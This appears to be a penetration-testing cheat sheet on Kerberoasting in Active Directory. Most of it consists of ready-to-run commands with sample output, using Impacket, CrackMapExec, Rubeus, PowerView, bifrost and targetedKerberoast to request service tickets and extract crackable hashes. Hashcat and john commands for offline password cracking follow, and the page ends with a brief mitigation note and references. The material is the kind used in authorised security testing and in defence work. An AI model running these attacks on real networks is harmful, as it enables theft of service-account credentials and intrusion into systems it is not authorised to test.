Pentest – Roasting – Kerberoasting

« A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account.  » – MSDN

Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

• GetUserSPNs from Impacket Suite

  $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
  
  Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
  
  ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
  --------------------  -------------  --------------------------------------------------------  -------------------  -------------------
  active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 
  
  $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
  

   

• CrackMapExec Module

  $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
  LDAP        10.0.2.11       389    dc01           [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
  LDAP        10.0.2.11       389    dc01           $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
  

   

• Rubeus

  # Stats
  Rubeus.exe kerberoast /stats
  -------------------------------------   ----------------------------------
  | Supported Encryption Type | Count |  | Password Last Set Year | Count |
  -------------------------------------  ----------------------------------
  | RC4_HMAC_DEFAULT          | 1     |  | 2021                   | 1     |
  -------------------------------------  ----------------------------------
  
  # Kerberoast (RC4 ticket)
  Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
  
  # Kerberoast (AES ticket)
  # Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
  Rubeus.exe kerberoast /tgtdeleg
  
  # Kerberoast (RC4 ticket)
  # The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
  Rubeus.exe kerberoast /rc4opsec
  

   

• PowerView

  Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
  

   

• bifrost on macOS machine

  ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
  

   

• targetedKerberoast

  # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), 
  # print the "kerberoast" hash, and delete the temporary SPN set for that operation
  targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
  

   

Then crack the ticket using the correct hashcat mode ($krb5tgs$23= etype 23)

./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt

Mitigations: * Have a very long password for your accounts with SPNs (> 32 characters) * Make sure no users have SPNs

References

• Abusing Kerberos: Kerberoasting – Haboob Team
• Invoke-Kerberoast – Powersploit Read the docs
• Kerberoasting – Part 1 – Mubix “Rob” Fuller
• Post-OSCP Series Part 2 – Kerberoasting – 16 APRIL 2019 – Jon Hickman